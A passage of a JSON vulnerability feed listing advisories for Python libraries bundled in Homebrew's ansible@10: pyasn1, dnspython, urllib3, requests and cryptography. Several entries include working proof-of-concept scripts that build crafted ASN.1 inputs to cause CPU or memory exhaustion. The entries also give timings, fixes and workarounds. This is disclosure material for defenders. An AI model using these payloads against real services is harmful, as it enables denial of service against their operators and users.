b\"\\xa5\" * 999\n    return b\"\\x23\\x80\" + fragment * count + b\"\\x00\\x00\"\n\n\ndef measure(label, decode, payload, **options):\n    start = time.process_time()\n    value, remainder = decode(payload, **options)\n    print(label, len(payload), f\"{time.process_time() - start:.3f}s CPU\")\n    assert not remainder and len(value) > 0\n\n\nfor count in (50_000, 100_000, 200_000):\n    measure(f\"BER {count} fragments\", ber_decoder.decode,\n            definite_fragments(count))\n\nfor count in (1_000, 2_000, 4_000):\n    measure(f\"CER {count} fragments\", cer_decoder.decode,\n            cer_fragments(count))\n\nsample = definite_fragments(1_000)\nmeasure(\"DER with BIT STRING schema\", der_decoder.decode, sample,\n        asn1Spec=univ.BitString())\ntry:\n    der_decoder.decode(sample)\nexcept PyAsn1Error:\n    print(\"DER without schema rejects the constructed value\")\nelse:\n    raise AssertionError(\"DER unexpectedly accepted schema-less input\")\n```\n\n## Verification\n\nLocal measurements of the official v0.6.4 tag on CPython 3.14.8 used `time.process_time()`. A local 0.6.5 candidate containing the fix was timed on the same machine. Times are illustrative, not a guaranteed cost on other systems.\n\n| Input | Size | v0.6.4 CPU | 0.6.5 candidate CPU |\n| --- | ---: | ---: | ---: |\n| BER definite, 50,000 fragments | 0.20 MB | 0.530 s | 0.084 s |\n| BER definite, 100,000 fragments | 0.40 MB | 1.915 s | 0.170 s |\n| BER definite, 200,000 fragments | 0.80 MB | 7.392 s | 0.344 s |\n| Conforming CER, 1,000 fragments | 1.004 MB | 0.163 s | 0.0035 s |\n| Conforming CER, 2,000 fragments | 2.008 MB | 0.657 s | 0.0070 s |\n| Conforming CER, 4,000 fragments | 4.016 MB | 2.582 s | 0.0144 s |\n\nThe definite BER input with 100,000 fragments also decoded through DER with `asn1Spec=univ.BitString()` in 1.949 s on v0.6.4, versus 0.172 s with the 0.6.5 candidate. Schema-less DER rejected the same input. Independent reports reproduced the old behavior on v0.6.4: one measured 21.1 s for a 1.28 MB definite-length value; another measured 7.25 s for a 0.8 MB value versus 2.8 ms for a primitive BIT STRING carrying the same data volume. These measurements were taken on different systems and should not be compared as a single benchmark series.\n\n## Resolution\n\nUpgrade to pyasn1 0.6.5. The decoder assembles fragment bits in a `bytearray`, preserves decoded bit values including intermediate-fragment padding, and converts the complete payload to a BIT STRING once. This removes the repeated shift of the growing integer in both constructed decoding loops.\n\nFor applications that cannot upgrade immediately, enforce an application-appropriate limit on untrusted ASN.1 input size **before** passing it to pyasn1. Such a limit bounds exposure but does not change the quadratic behavior of 0.6.4. Where a protocol forbids constructed BIT STRING, rejecting that encoding before decoding also prevents this path.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"}],"references":[{"type":"WEB","url":"https://github.com/pyasn1/pyasn1/security/advisories/GHSA-2qm8-x737-gmw5"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-119196"},{"type":"WEB","url":"https://github.com/pyasn1/pyasn1/pull/132"},{"type":"WEB","url":"https://github.com/pyasn1/pyasn1/commit/73ba7b043cc7e92cb37f16f2c955bff93b0e6f6c"},{"type":"PACKAGE","url":"https://github.com/pyasn1/pyasn1"},{"type":"WEB","url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.6.5"}]},{"schema_version":"1.7.3","id":"BREW-ansible@10-CVE-2026-119197","published":"2026-10-31T08:54:55Z","modified":"2026-10-31T08:54:55Z","upstream":["GHSA-mm57-4v3p-rchx","CVE-2026-119197"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@10","purl":"pkg:brew/ansible%4010"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"10.6.0"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"0.6.5","resource":"pyasn1","resource_purl":"pkg:pypi/pyasn1@0.6.1"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"pyasn1","subject_version":"0.6.1","key":"pkg:pypi/pyasn1@0.6.1","resource":"pyasn1"}]},"summary":"pyasn1 has quadratic-complexity denial of service in binary REAL decoding","details":"## Summary\n\nIn pyasn1 0.6.4 and earlier, decoding a binary-encoded ASN.1 REAL with a large mantissa can consume CPU time quadratic in the mantissa length. The BER, CER, and DER decoders all use the affected `RealPayloadDecoder`. An application is exposed when it passes attacker-controlled ASN.1 containing a REAL value to one of these decoders, either without an `asn1Spec` or with a schema that includes REAL. The work occurs inside `decode()`; the application does not need to convert, print, or otherwise use the resulting REAL object.\n\nThis is distinct from [CVE-2026-59886](https://github.com/advisories/GHSA-hm4w-wwcw-mr6r), which concerns converting an already-decoded REAL to a Python float. That issue was fixed in 0.6.4 and its advisory states that decoding alone does not trigger it.\n\n## Root cause and affected components\n\nFor binary REAL values, [`RealPayloadDecoder.valueDecoder` in v0.6.4](https://github.com/pyasn1/pyasn1/blob/v0.6.4/pyasn1/codec/ber/decoder.py#L535-L603) builds the mantissa one octet at a time:\n\n```python\np = 0\nwhile chunk:\n    p <<= 8\n    p |= chunk[0]\n    chunk = chunk[1:]\n```\n\nEach shift processes an integer that grows with the mantissa; with byte strings, each slice also copies the remaining suffix. Repeating both operations for every octet makes decoding quadratic in mantissa size. The decoder's [eight-octet length-field limit](https://github.com/pyasn1/pyasn1/blob/v0.6.4/pyasn1/codec/ber/decoder.py#L1704-L1717) does not impose a practical mantissa-size limit for the inputs demonstrated below. [CER](https://github.com/pyasn1/pyasn1/blob/v0.6.4/pyasn1/codec/cer/decoder.py#L51-L62) and [DER](https://github.com/pyasn1/pyasn1/blob/v0.6.4/pyasn1/codec/der/decoder.py#L23-L31) reuse the BER REAL payload decoder, so all three paths reach this loop.\n\nThe vulnerable loop is present in every available repository release tag inspected, from v0.2.1 through v0.6.4. Runtime measurements below were made on v0.6.4; older releases were checked for the loop, not benchmarked individually.\n\n## Impact\n\nA comparatively small REAL value can hold a decoder worker on one CPU core for seconds or longer. The attacker must be able to supply data that the application sends to an affected decoder, and application-level input limits may reduce exposure. The demonstrated effect is CPU exhaustion during decoding; this advisory does not assert a network endpoint, unauthenticated access, or an affected downstream application by itself.\n\n## Reproduction and evidence\n\nThe following example uses pyasn1 0.6.4. The `0x09` tag identifies REAL; `0x80 0x00` selects a positive, base-2 binary value with a one-octet zero exponent, followed by a large mantissa. It exercises `decode()` only.\n\n```python\nimport time\n\nfrom pyasn1.codec.ber import decoder as ber\nfrom pyasn1.codec.cer import decoder as cer\nfrom pyasn1.codec.der import decoder as der\n\n\ndef real_value(mantissa_octets):\n    content = b\"\\x80\\x00\" + b\"\\xff\" * mantissa_octets\n    length = len(content).to_bytes(3, \"big\")\n    return b\"\\x09\\x83\" + length + content\n\n\nfor codec in (ber, cer, der):\n    for size in (50_000, 100_000, 200_000):\n        substrate = real_value(size)\n        started = time.process_time()\n        value, rest = codec.decode(substrate)\n        print(codec.__name__, size, time.process_time() - started)\n        assert not rest\n        assert tuple(value)[1:] == (2, 0)\n```\n\nThe original report measured the following BER CPU times on repository commit `aa05757`. That commit is later than the official v0.6.4 tag; the vulnerable loop is identical in the tagged release.\n\n| Mantissa size | Reporter's BER CPU time |\n| ---: | ---: |\n| 50,000 octets | 0.328 s |\n| 100,000 octets | 1.299 s |\n| 200,000 octets | 6.043 s |\n| 400,000 octets | 24.095 s |\n\nThe same report measured 5.645 s for a 200,000-octet mantissa through DER.\n\nA separate local reproduction on the official v0.6.4 tag (`d43496f`, CPython 3.14.8, macOS arm64) measured BER at 0.209 s, 0.884 s, and 3.451 s for 50,000, 100,000, and 200,000 mantissa octets respectively. CER and DER each took about 0.89 s at 100,000 octets. These are machine-specific measurements; the repeated near-fourfold cost for doubled input is the relevant result. Neither reproduction calls `float()`, `str()`, or `prettyPrint()`.\n\n## Fix\n\npyasn1 0.6.5 replaces the per-octet shift and slice loop with one `int.from_bytes(bytes(chunk), \"big\")` conversion. Sign, scale, exponent, and the decoded REAL tuple are preserved. The fix is in the shared BER payload decoder and therefore covers BER, CER, and DER. A local check of the 0.6.5 candidate decoded a 200,000-octet mantissa correctly through all three codecs; the check does not establish behavior for every application using REAL.\n\n## Workarounds\n\nUpgrade to pyasn1 0.6.5. Until then, reject or strictly limit attacker-controlled ASN.1 input that may contain REAL values before passing it to pyasn1. The appropriate size limit depends on the application's available CPU time and request volume.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"}],"references":[{"type":"WEB","url":"https://github.com/pyasn1/pyasn1/security/advisories/GHSA-mm57-4v3p-rchx"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-119197"},{"type":"WEB","url":"https://github.com/pyasn1/pyasn1/pull/132"},{"type":"WEB","url":"https://github.com/pyasn1/pyasn1/commit/ce3ec3390784780a530047e0e77be5ff457636a4"},{"type":"PACKAGE","url":"https://github.com/pyasn1/pyasn1"},{"type":"WEB","url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.6.5"}]},{"schema_version":"1.7.3","id":"BREW-ansible@10-CVE-2026-128089","published":"2026-11-14T09:40:53Z","modified":"2026-11-14T09:40:53Z","upstream":["GHSA-vvf4-9x63-8xvv","CVE-2026-128089"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@10","purl":"pkg:brew/ansible%4010"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"10.6.0"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"2.9.2","resource":"dnspython","resource_purl":"pkg:pypi/dnspython@2.8.0"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"dnspython","subject_version":"2.8.0","key":"pkg:pypi/dnspython@2.8.0","resource":"dnspython"}]},"summary":"dnspython has excessive memory and CPU use","details":"### Summary\n\nA maliciously crafted zone file could use a WKS record to consume excessive memory and CPU, possibly causing the process to exit due to memory exhaustion.\n\n### Details\n\nThe `from_text()` parser does not check that a WKS record service number is between 0 and 65535 inclusive.  It then uses this number to resize the bitmap to accommodate a bit with that offset.  This can cause extremely large memory allocations, and also extends the array very inefficiently, wasting CPU.\n\n### Proof of concept\n\nThis demonstrates the failure to limit the service number, though with a value that does not cause excessive memory or CPU consumption.\n\n```\nrd = dns.rdata.from_text(\"IN\", \"WKS\", \"10.0.0.1 udp 65536\")\n```\n\n### Impact\n\nIf dnspython is used to read zonefile format where the attacker can control the type and rdata text, the program may consume excessive memory or CPU, denying service.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"}],"references":[{"type":"WEB","url":"https://github.com/rthalley/dnspython/security/advisories/GHSA-vvf4-9x63-8xvv"},{"type":"WEB","url":"https://github.com/rthalley/dnspython/commit/388db14ee9923288f6e73f86e482c77706e59d73"},{"type":"WEB","url":"https://github.com/rthalley/dnspython/commit/a62e1be066da0ed71b5b59f37435bb17cfa0070f"},{"type":"PACKAGE","url":"https://github.com/rthalley/dnspython"},{"type":"WEB","url":"https://github.com/rthalley/dnspython/releases/tag/v2.9.2"}]},{"schema_version":"1.7.3","id":"BREW-ansible@10-CVE-2026-21441","published":"2026-08-13T16:35:22Z","modified":"2026-10-08T00:10:56Z","upstream":["GHSA-38jv-5279-wg99","CVE-2026-21441","PYSEC-2026-1996"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@10","purl":"pkg:brew/ansible%4010"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"10.6.0"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"2.6.3","resource":"urllib3","resource_purl":"pkg:pypi/urllib3@2.3.0"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"urllib3","subject_version":"2.3.0","key":"pkg:pypi/urllib3@2.3.0","resource":"urllib3"}]},"summary":"Decompression-bomb safeguards bypassed when following HTTP redirects (streaming API)","details":"### Impact\n\nurllib3's [streaming API](https://urllib3.readthedocs.io/en/2.6.2/advanced-usage.html#streaming-and-i-o) is designed for the efficient handling of large HTTP responses by reading the content in chunks, rather than loading the entire response body into memory at once.\n\nurllib3 can perform decoding or decompression based on the HTTP `Content-Encoding` header (e.g., `gzip`, `deflate`, `br`, or `zstd`). When using the streaming API, the library decompresses only the necessary bytes, enabling partial content consumption.\n\nHowever, for HTTP redirect responses, the library would read the entire response body to drain the connection and decompress the content unnecessarily. This decompression occurred even before any read methods were called, and configured read limits did not restrict the amount of decompressed data. As a result, there was no safeguard against decompression bombs. A malicious server could exploit this to trigger excessive resource consumption on the client (high CPU usage and large memory allocations for decompressed data; CWE-409).\n\n### Affected usages\n\nApplications and libraries using urllib3 version 2.6.2 and earlier to stream content from untrusted sources by setting `preload_content=False` when they do not disable redirects.\n\n\n### Remediation\n\nUpgrade to at least urllib3 v2.6.3 in which the library does not decode content of redirect responses when `preload_content=False`.\n\nIf upgrading is not immediately possible, disable [redirects](https://urllib3.readthedocs.io/en/2.6.2/user-guide.html#retrying-requests) by setting `redirect=False` for requests to untrusted source.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:H"}],"references":[{"type":"WEB","url":"https://github.com/urllib3/urllib3/security/advisories/GHSA-38jv-5279-wg99"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-21441"},{"type":"WEB","url":"https://github.com/urllib3/urllib3/commit/8864ac407bba8607950025e0979c4c69bc7abc7b"},{"type":"PACKAGE","url":"https://github.com/urllib3/urllib3"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2026/01/msg00017.html"}]},{"schema_version":"1.7.3","id":"BREW-ansible@10-CVE-2026-23490","published":"2026-08-13T16:35:22Z","modified":"2026-10-08T00:10:56Z","upstream":["GHSA-63vm-454h-vhhq","CVE-2026-23490","PYSEC-2026-1810"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@10","purl":"pkg:brew/ansible%4010"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"10.6.0"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"0.6.2","resource":"pyasn1","resource_purl":"pkg:pypi/pyasn1@0.6.1"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"pyasn1","subject_version":"0.6.1","key":"pkg:pypi/pyasn1@0.6.1","resource":"pyasn1"}]},"summary":"pyasn1 has a DoS vulnerability in decoder","details":"### Summary\n\nAfter reviewing pyasn1 v0.6.1 a Denial-of-Service issue has been found that leads to memory exhaustion from malformed RELATIVE-OID with excessive continuation octets.\n\n### Details\n\nThe integer issue can be found in the decoder as `reloid += ((subId << 7) + nextSubId,)`: https://github.com/pyasn1/pyasn1/blob/main/pyasn1/codec/ber/decoder.py#L496\n\n### PoC\n\nFor the DoS:\n```py\nimport pyasn1.codec.ber.decoder as decoder\nimport pyasn1.type.univ as univ\nimport sys\nimport resource\n\n# Deliberately set memory limit to display PoC\ntry:\n    resource.setrlimit(resource.RLIMIT_AS, (100*1024*1024, 100*1024*1024))\n    print(\"[*] Memory limit set to 100MB\")\nexcept:\n    print(\"[-] Could not set memory limit\")\n\n# Test with different payload sizes to find the DoS threshold\npayload_size_mb = int(sys.argv[1])\n\nprint(f\"[*] Testing with {payload_size_mb}MB payload...\")\n\npayload_size = payload_size_mb * 1024 * 1024\n# Create payload with continuation octets\n# Each 0x81 byte indicates continuation, causing bit shifting in decoder\npayload = b'\\x81' * payload_size + b'\\x00'\nlength = len(payload)\n\n# DER length encoding (supports up to 4GB)\nif length < 128:\n    length_bytes = bytes([length])\nelif length < 256:\n    length_bytes = b'\\x81' + length.to_bytes(1, 'big')\nelif length < 256**2:\n    length_bytes = b'\\x82' + length.to_bytes(2, 'big')\nelif length < 256**3:\n    length_bytes = b'\\x83' + length.to_bytes(3, 'big')\nelse:\n    # 4 bytes can handle up to 4GB\n    length_bytes = b'\\x84' + length.to_bytes(4, 'big')\n\n# Use OID (0x06) for more aggressive parsing\nmalicious_packet = b'\\x06' + length_bytes + payload\n\nprint(f\"[*] Packet size: {len(malicious_packet) / 1024 / 1024:.1f} MB\")\n\ntry:\n    print(\"[*] Decoding (this may take time or exhaust memory)...\")\n    result = decoder.decode(malicious_packet, asn1Spec=univ.ObjectIdentifier())\n\n    print(f'[+] Decoded successfully')\n    print(f'[!] Object size: {sys.getsizeof(result[0])} bytes')\n\n    # Try to convert to string\n    print('[*] Converting to string...')\n    try:\n        str_result = str(result[0])\n        print(f'[+] String succeeded: {len(str_result)} chars')\n        if len(str_result) > 10000:\n            print(f'[!] MEMORY EXPLOSION: {len(str_result)} character string!')\n    except MemoryError:\n        print(f'[-] MemoryError during string conversion!')\n    except Exception as e:\n        print(f'[-] {type(e).__name__} during string conversion')\n\nexcept MemoryError:\n    print('[-] MemoryError: Out of memory!')\nexcept Exception as e:\n    print(f'[-] Error: {type(e).__name__}: {e}')\n\n\nprint(\"\\n[*] Test completed\")\n```\n\n\nScreenshots with the results:\n\n#### DoS\n<img width=\"944\" height=\"207\" alt=\"Screenshot_20251219_160840\" src=\"https://github.com/user-attachments/assets/68b9566b-5ee1-47b0-a269-605b037dfc4f\" />\n\n<img width=\"931\" height=\"231\" alt=\"Screenshot_20251219_152815\" src=\"https://github.com/user-attachments/assets/62eacf4f-eb31-4fba-b7a8-e8151484a9fa\" />\n\n#### Leak analysis\n\nA potential heap leak was investigated but came back clean:\n```\n[*] Creating 1000KB payload...\n[*] Decoding with pyasn1...\n[*] Materializing to string...\n[+] Decoded 2157784 characters\n[+] Binary representation: 896001 bytes\n[+] Dumped to heap_dump.bin\n\n[*] First 64 bytes (hex):\n  01020408102040810204081020408102040810204081020408102040810204081020408102040810204081020408102040810204081020408102040810204081\n\n[*] First 64 bytes (ASCII/hex dump):\n  0000: 01 02 04 08 10 20 40 81 02 04 08 10 20 40 81 02  ..... @..... @..\n  0010: 04 08 10 20 40 81 02 04 08 10 20 40 81 02 04 08  ... @..... @....\n  0020: 10 20 40 81 02 04 08 10 20 40 81 02 04 08 10 20  . @..... @..... \n  0030: 40 81 02 04 08 10 20 40 81 02 04 08 10 20 40 81  @..... @..... @.\n\n[*] Digit distribution analysis:\n  '0':  10.1%\n  '1':   9.9%\n  '2':  10.0%\n  '3':   9.9%\n  '4':   9.9%\n  '5':  10.0%\n  '6':  10.0%\n  '7':  10.0%\n  '8':   9.9%\n  '9':  10.1%\n```\n\n### Scenario\n\n1. An attacker creates a malicious X.509 certificate.\n2. The application validates certificates.\n3. The application accepts the malicious certificate and tries decoding resulting in the issues mentioned above.\n\n### Impact\n\nThis issue can affect resource consumption and hang systems or stop services.\nThis may affect:\n- LDAP servers\n- TLS/SSL endpoints\n- OCSP responders\n- etc.\n\n### Recommendation\n\nAdd a limit to the allowed bytes in the decoder.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"}],"references":[{"type":"WEB","url":"https://github.com/pyasn1/pyasn1/security/advisories/GHSA-63vm-454h-vhhq"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-23490"},{"type":"WEB","url":"https://github.com/pyasn1/pyasn1/commit/be353d755f42ea36539b4f5053c652ddf56979a6"},{"type":"WEB","url":"https://github.com/pyasn1/pyasn1/commit/3908f144229eed4df24bd569d16e5991ace44970"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:4148"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:4147"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:4146"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:4145"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:4144"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:4143"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:4142"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:4141"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:4140"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:4139"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:4138"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:39894"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:3959"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:3958"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:2302"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:41928"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:42644"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:4943"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:54757"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:5606"},{"type":"WEB","url":"https://access.redhat.com/security/cve/CVE-2026-23490"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=2430472"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-63vm-454h-vhhq"},{"type":"PACKAGE","url":"https://github.com/pyasn1/pyasn1"},{"type":"WEB","url":"https://github.com/pyasn1/pyasn1/blob/0f07d7242a78ab4d129b26256d7474f7168cf536/pyasn1/codec/ber/decoder.py#L496"},{"type":"WEB","url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.6.2"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/pyasn1/PYSEC-2026-1810.yaml"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2026/02/msg00002.html"},{"type":"WEB","url":"https://pypi.org/project/pyasn1"},{"type":"WEB","url":"https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-23490.json"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:2300"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:2299"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:2221"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:19712"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:1906"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:1905"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:1904"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:1903"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:17611"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:17595"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:17446"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:14020"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:13553"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:13545"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:13512"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:13508"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:37275"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:3359"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:3354"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:30088"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:28042"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:2758"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:2712"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:24977"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:24866"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:2486"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:2483"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:2460"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:2453"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:24483"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:24476"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:2309"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2026:2303"}]},{"schema_version":"1.7.3","id":"BREW-ansible@10-CVE-2026-25645","published":"2026-08-13T16:35:22Z","modified":"2026-10-08T00:10:56Z","upstream":["GHSA-gc5v-m9x4-r6x2","CVE-2026-25645","PYSEC-2026-2275"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@10","purl":"pkg:brew/ansible%4010"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"10.6.0"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"2.33.0","resource":"requests","resource_purl":"pkg:pypi/requests@2.32.5"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"requests","subject_version":"2.32.5","key":"pkg:pypi/requests@2.32.5","resource":"requests"}]},"summary":"Requests has Insecure Temp File Reuse in its extract_zipped_paths() utility function","details":"### Impact\nThe `requests.utils.extract_zipped_paths()` utility function uses a predictable filename when extracting files from zip archives into the system temporary directory. If the target file already exists, it is reused without validation. A local attacker with write access to the temp directory could pre-create a malicious file that would be loaded in place of the legitimate one.\n\n### Affected usages\n**Standard usage of the Requests library is not affected by this vulnerability.** Only applications that call `extract_zipped_paths()` directly are impacted.\n\n### Remediation\nUpgrade to at least Requests 2.33.0, where the library now extracts files to a non-deterministic location.\n\nIf developers are unable to upgrade, they can set `TMPDIR` in their environment to a directory with restricted write access.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:U/C:N/I:H/A:N"}],"references":[{"type":"WEB","url":"https://github.com/psf/requests/security/advisories/GHSA-gc5v-m9x4-r6x2"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-25645"},{"type":"WEB","url":"https://github.com/psf/requests/commit/66d21cb07bd6255b1280291c4fafb71803cdb3b7"},{"type":"PACKAGE","url":"https://github.com/psf/requests"},{"type":"WEB","url":"https://github.com/psf/requests/releases/tag/v2.33.0"}]},{"schema_version":"1.7.3","id":"BREW-ansible@10-CVE-2026-26007","published":"2026-08-13T16:35:22Z","modified":"2026-10-08T00:10:55Z","upstream":["GHSA-r6ph-v2qm-q3c2","CVE-2026-26007","PYSEC-2026-2141"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@10","purl":"pkg:brew/ansible%4010"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"10.7.0_4"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"46.0.5","resource":"cryptography","resource_purl":"pkg:pypi/cryptography@46.0.3"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"cryptography","subject_version":"46.0.3","key":"pkg:pypi/cryptography@46.0.3","resource":"cryptography"}]},"summary":"cryptography Vulnerable to a Subgroup Attack Due to Missing Subgroup Validation for SECT Curves","details":"## Vulnerability Summary\n\nThe `public_key_from_numbers` (or `EllipticCurvePublicNumbers.public_key()`), `EllipticCurvePublicNumbers.public_key()`, `load_der_public_key()` and `load_pem_public_key()` functions do not verify that the point belongs to the expected prime-order subgroup of the curve.\n\nThis missing validation allows an attacker to provide a public key point `P` from a small-order subgroup.  This can lead to security issues in various situations, such as the most commonly used signature verification (ECDSA) and shared key negotiation (ECDH). When the victim computes the shared secret as `S = [victim_private_key]P` via ECDH,  this leaks information about `victim_private_key mod (small_subgroup_order)`. For curves with cofactor > 1, this reveals the least significant bits of the private key.  When these weak public keys are used in ECDSA , it's easy to forge signatures on the small subgroup.\n\nOnly SECT curves are impacted by this.\n\n## Credit\n\nThis vulnerability was discovered by:\n- XlabAI Team of Tencent Xuanwu Lab\n- Atuin Automated Vulnerability Discovery Engine","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X"}],"references":[{"type":"WEB","url":"https://github.com/pyca/cryptography/security/advisories/GHSA-r6ph-v2qm-q3c2"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-26007"},{"type":"WEB","url":"https://github.com/pyca/cryptography/commit/0eebb9dbb6343d9bc1d91e5a2482ed4e054a6d8c"},{"type":"PACKAGE","url":"https://github.com/pyca/cryptography"},{"type":"WEB","url":"https://github.com/pyca/cryptography/releases/tag/46.0.5"},{"type":"WEB","url":"http://www.openwall.com/lists/oss-security/2026/02/10/4"}]},{"schema_version":"1.7.3","id":"BREW-ansible@10-CVE-2026-30922","published":"2026-08-13T16:35:22Z","modified":"2026-10-08T00:10:56Z","upstream":["GHSA-jr27-m4p2-rc6r","CVE-2026-30922","PYSEC-2026-2263"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@10","purl":"pkg:brew/ansible%4010"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"10.6.0"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in